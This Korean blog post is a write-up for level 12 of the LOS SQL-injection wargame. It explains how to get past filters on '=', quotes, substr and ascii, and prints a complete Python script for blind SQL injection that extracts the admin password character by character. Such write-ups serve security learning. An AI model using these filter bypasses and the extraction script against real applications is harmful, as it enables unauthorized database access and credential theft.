본문 바로가기
Wargame

[LOS] 12번 darkknight 문제풀이

by m_.9m 2022. 1. 17.

https://los.rubiya.kr/


 

레벨 12번 darkknight 풀이

 

제시문제


※ url에 ?를 쓰면 query를 날릴 수 있다.

 

 

쿼리문으로 유추할 수 있는 부분

1. 직접 password를 알아내야한다. > 자동화 코드

2. Ascii, substr, =, ' 등을 사용할 수 없다. >ord(mid()) like 1 로 우회

3. no 부분에 '사용이 필요없어 우회가 가능하다.

4. id='admin' 시 =와  ' 쓰임이 불가능하다. id like char()로 우회

 

param = {"pw":"1","no":"1 or id like char(97,100,109,105,110) and ord(mid(pw, {}, 1)) > {} # ".format(i+1, value)}
req = requests.get(url, params=param, cookies=cookie)

 

파라미터가 두부분이기때문에 pw 와 no를 나누어주고 필처링되는 부분을 각각 우회한다.

추가된 부분이 많다보니 헷갈리는 부분도 있어서 자동화코드 전문을 첨부한다.

 

import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
cookie = {'PHPSESSID': '914av7or930ikd3rbb5l9p2c0a'}

def find_length():
    pwlength = 1

    while True:
        param = {"pw":"1","no":"1 or length(pw) like {}".format(pwlength)}
        req = requests.get(url, params=param, cookies=cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1
            print(pwlength)

def find_pw():
    length = find_length()
    print(length)
    password = ""
    for i in range(length):
        s= 1
        e= 127
        value = 64
        while True:
            param = {"pw":"1","no": "1 or id like char(97,100,109,105,110) and ord(mid(pw, {}, 1)) like {} # ".format(i+1, value)}
            print(param)
            req=requests.get(url,params=param,cookies=cookie)
            print(req.text)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw":"1","no":"1 or id like char(97,100,109,105,110) and ord(mid(pw, {}, 1)) > {} # ".format(i+1, value)}
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    s=value
                    value = (value+e) //2
                else:
                    e=value
                    value = (s+value) //2

    print("비밀번호는: ", password)

find_pw()

 

 

 

'Wargame' 카테고리의 다른 글

[LOS] 14번 giant 문제 풀이  (0) 2022.01.19
[LOS] 13번 bugbear 문제 풀이  (1) 2022.01.18
[LOS] 11번 golem 문제 풀이  (0) 2022.01.17
[LOS] 10번 skeleton 문제 풀이  (0) 2022.01.17
[LOS] 9번 vampire 문제 풀이  (0) 2022.01.17